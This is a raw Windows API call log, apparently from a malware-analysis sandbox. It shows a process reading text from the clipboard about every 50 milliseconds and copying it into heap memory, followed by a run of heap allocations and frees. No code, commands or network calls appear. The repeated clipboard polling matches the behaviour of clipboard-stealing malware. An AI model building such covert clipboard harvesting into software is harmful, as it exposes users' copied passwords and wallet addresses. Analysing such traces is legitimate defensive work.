[0137.016] Sleep (dwMilliseconds=0x32)
[0137.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac64d2a0, dwHighDateTime=0x1d96e12))
[0137.078] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.078] GetClipboardData (uFormat=0x1) returned 0x5dfe78
[0137.078] GlobalLock (hMem=0x5dfe78) returned 0x5dfe78
[0137.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0137.078] GlobalUnlock (hMem=0x5dfe78) returned 1
[0137.078] CloseClipboard () returned 1
[0137.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0137.078] Sleep (dwMilliseconds=0x32)
[0137.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac6e5c4c, dwHighDateTime=0x1d96e12))
[0137.140] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.140] GetClipboardData (uFormat=0x1) returned 0x5e0418
[0137.140] GlobalLock (hMem=0x5e0418) returned 0x5e0418
[0137.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0137.141] GlobalUnlock (hMem=0x5e0418) returned 1
[0137.141] CloseClipboard () returned 1
[0137.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0137.141] Sleep (dwMilliseconds=0x32)
[0137.210] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac77e5b4, dwHighDateTime=0x1d96e12))
[0137.210] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.210] GetClipboardData (uFormat=0x1) returned 0x5dff08
[0137.211] GlobalLock (hMem=0x5dff08) returned 0x5dff08
[0137.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0137.211] GlobalUnlock (hMem=0x5dff08) returned 1
[0137.211] CloseClipboard () returned 1
[0137.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0137.211] Sleep (dwMilliseconds=0x32)
[0137.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac816ee1, dwHighDateTime=0x1d96e12))
[0137.265] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.266] GetClipboardData (uFormat=0x1) returned 0x5e01a8
[0137.266] GlobalLock (hMem=0x5e01a8) returned 0x5e01a8
[0137.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deb68
[0137.266] GlobalUnlock (hMem=0x5e01a8) returned 1
[0137.266] CloseClipboard () returned 1
[0137.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deb68 | out: hHeap=0x5b0000) returned 1
[0137.266] Sleep (dwMilliseconds=0x32)
[0137.328] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac8af84e, dwHighDateTime=0x1d96e12))
[0137.328] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.328] GetClipboardData (uFormat=0x1) returned 0x5e0298
[0137.328] GlobalLock (hMem=0x5e0298) returned 0x5e0298
[0137.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deb68
[0137.328] GlobalUnlock (hMem=0x5e0298) returned 1
[0137.328] CloseClipboard () returned 1
[0137.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deb68 | out: hHeap=0x5b0000) returned 1
[0137.328] Sleep (dwMilliseconds=0x32)
[0137.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac94981c, dwHighDateTime=0x1d96e12))
[0137.391] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.391] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0137.392] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0137.392] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5debd8
[0137.392] GlobalUnlock (hMem=0x5e00e8) returned 1
[0137.392] CloseClipboard () returned 1
[0137.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5debd8 | out: hHeap=0x5b0000) returned 1
[0137.392] Sleep (dwMilliseconds=0x32)
[0137.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac9e0bb8, dwHighDateTime=0x1d96e12))
[0137.453] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.453] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0137.453] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0137.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0137.453] GlobalUnlock (hMem=0x5e00e8) returned 1
[0137.453] CloseClipboard () returned 1
[0137.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0137.453] Sleep (dwMilliseconds=0x32)
[0137.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaca7948f, dwHighDateTime=0x1d96e12))
[0137.515] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.515] GetClipboardData (uFormat=0x1) returned 0x5dfe78
[0137.516] GlobalLock (hMem=0x5dfe78) returned 0x5dfe78
[0137.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea50
[0137.516] GlobalUnlock (hMem=0x5dfe78) returned 1
[0137.516] CloseClipboard () returned 1
[0137.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea50 | out: hHeap=0x5b0000) returned 1
[0137.516] Sleep (dwMilliseconds=0x32)
[0137.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xacb380af, dwHighDateTime=0x1d96e12))
[0137.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.601] GetClipboardData (uFormat=0x1) returned 0x5e0388
[0137.602] GlobalLock (hMem=0x5e0388) returned 0x5e0388
[0137.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea50
[0137.602] GlobalUnlock (hMem=0x5e0388) returned 1
[0137.602] CloseClipboard () returned 1
[0137.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea50 | out: hHeap=0x5b0000) returned 1
[0137.602] Sleep (dwMilliseconds=0x32)
[0137.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xacbd09f4, dwHighDateTime=0x1d96e12))
[0137.656] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.656] GetClipboardData (uFormat=0x1) returned 0x5e02f8
[0137.656] GlobalLock (hMem=0x5e02f8) returned 0x5e02f8
[0137.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0137.656] GlobalUnlock (hMem=0x5e02f8) returned 1
[0137.656] CloseClipboard () returned 1
[0137.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0137.656] Sleep (dwMilliseconds=0x32)
[0137.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xacc692fa, dwHighDateTime=0x1d96e12))
[0137.719] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.719] GetClipboardData (uFormat=0x1) returned 0x5e0028
[0137.719] GlobalLock (hMem=0x5e0028) returned 0x5e0028
[0137.719] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea50
[0137.720] GlobalUnlock (hMem=0x5e0028) returned 1
[0137.720] CloseClipboard () returned 1
[0137.720] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea50 | out: hHeap=0x5b0000) returned 1
[0137.720] Sleep (dwMilliseconds=0x32)
[0137.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xacd01c6f, dwHighDateTime=0x1d96e12))
[0137.781] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.781] GetClipboardData (uFormat=0x1) returned 0x5e0148
[0137.781] GlobalLock (hMem=0x5e0148) returned 0x5e0148
[0137.781] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deb68
[0137.781] GlobalUnlock (hMem=0x5e0148) returned 1
[0137.781] CloseClipboard () returned 1
[0137.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deb68 | out: hHeap=0x5b0000) returned 1
[0137.782] Sleep (dwMilliseconds=0x32)
[0137.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xacd9a66b, dwHighDateTime=0x1d96e12))
[0137.843] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.844] GetClipboardData (uFormat=0x1) returned 0x5e03e8
[0137.844] GlobalLock (hMem=0x5e03e8) returned 0x5e03e8
[0137.844] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0137.844] GlobalUnlock (hMem=0x5e03e8) returned 1
[0137.844] CloseClipboard () returned 1
[0137.844] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0137.844] Sleep (dwMilliseconds=0x32)
[0137.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xace343da, dwHighDateTime=0x1d96e12))
[0137.906] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.907] GetClipboardData (uFormat=0x1) returned 0x5e0178
[0137.907] GlobalLock (hMem=0x5e0178) returned 0x5e0178
[0137.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de778
[0137.907] GlobalUnlock (hMem=0x5e0178) returned 1
[0137.907] CloseClipboard () returned 1
[0137.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de778 | out: hHeap=0x5b0000) returned 1
[0137.907] Sleep (dwMilliseconds=0x32)
[0137.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xacecb900, dwHighDateTime=0x1d96e12))
[0137.968] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.969] GetClipboardData (uFormat=0x1) returned 0x5dffc8
[0137.969] GlobalLock (hMem=0x5dffc8) returned 0x5dffc8
[0137.969] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0137.969] GlobalUnlock (hMem=0x5dffc8) returned 1
[0137.969] CloseClipboard () returned 1
[0137.969] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0137.969] Sleep (dwMilliseconds=0x32)
[0138.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xacf7537e, dwHighDateTime=0x1d96e12))
[0138.041] OpenClipboard (hWndNewOwner=0x0) returned 1
[0138.041] GetClipboardData (uFormat=0x1) returned 0x5dff68
[0138.042] GlobalLock (hMem=0x5dff68) returned 0x5dff68
[0138.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0138.042] GlobalUnlock (hMem=0x5dff68) returned 1
[0138.042] CloseClipboard () returned 1
[0138.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0138.042] Sleep (dwMilliseconds=0x32)
[0138.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xacffa0cf, dwHighDateTime=0x1d96e12))
[0138.092] OpenClipboard (hWndNewOwner=0x0) returned 1
[0138.092] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0138.093] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0138.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deaf8
[0138.093] GlobalUnlock (hMem=0x5e00e8) returned 1
[0138.093] CloseClipboard () returned 1
[0138.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deaf8 | out: hHeap=0x5b0000) returned 1
[0138.093] Sleep (dwMilliseconds=0x32)
[0138.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xad205074, dwHighDateTime=0x1d96e12))
[0138.314] OpenClipboard (hWndNewOwner=0x0) returned 1
[0138.314] GetClipboardData (uFormat=0x1) returned 0x5dfe78
[0138.314] GlobalLock (hMem=0x5dfe78) returned 0x5dfe78
[0138.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0138.315] GlobalUnlock (hMem=0x5dfe78) returned 1
[0138.315] CloseClipboard () returned 1
[0138.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0138.315] Sleep (dwMilliseconds=0x32)
[0138.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xad7ae9ce, dwHighDateTime=0x1d96e12))
[0138.908] OpenClipboard (hWndNewOwner=0x0) returned 1
[0138.908] GetClipboardData (uFormat=0x1) returned 0x5e0208
[0138.908] GlobalLock (hMem=0x5e0208) returned 0x5e0208
[0138.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deaf8
[0138.908] GlobalUnlock (hMem=0x5e0208) returned 1
[0138.908] CloseClipboard () returned 1
[0138.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c6d40
[0138.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c68
[0138.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c73c0
[0138.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c78
[0138.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7b10
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c77d0
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7700
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7700 | out: hHeap=0x5b0000) returned 1
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7700
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7700 | out: hHeap=0x5b0000) returned 1
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7700
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7700 | out: hHeap=0x5b0000) returned 1
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5af8
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7970
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7970 | out: hHeap=0x5b0000) returned 1
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5af8 | out: hHeap=0x5b0000) returned 1
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0138.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5af8
[0138.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7970
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7970 | out: hHeap=0x5b0000) returned 1
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5af8 | out: hHeap=0x5b0000) returned 1
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5af8
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7970
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7970 | out: hHeap=0x5b0000) returned 1
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5af8 | out: hHeap=0x5b0000) returned 1
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5af8
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c78a0
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c78a0 | out: hHeap=0x5b0000) returned 1
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5af8 | out: hHeap=0x5b0000) returned 1
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5af8
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c78a0
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c78a0 | out: hHeap=0x5b0000) returned 1
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5af8 | out: hHeap=0x5b0000) returned 1
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5af8
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5af8 | out: hHeap=0x5b0000) returned 1
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c78a0
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c78a0 | out: hHeap=0x5b0000) returned 1
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5af8
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c78a0
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c78a0 | out: hHeap=0x5b0000) returned 1
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5af8 | out: hHeap=0x5b0000) returned 1
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7700
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7700 | out: hHeap=0x5b0000) returned 1
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0138.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c78a0
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c78a0 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c78a0
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c78a0 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7700
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5af8
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5af8 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7700 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5af8
[0138.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7700
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7700 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5af8 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c98 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c77d0 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x5b0000) returned 1
[0138.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c78 | out: hHeap=0x5b0000) returned 1
[0138.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c6d40 | out: hHeap=0x5b0000) returned 1
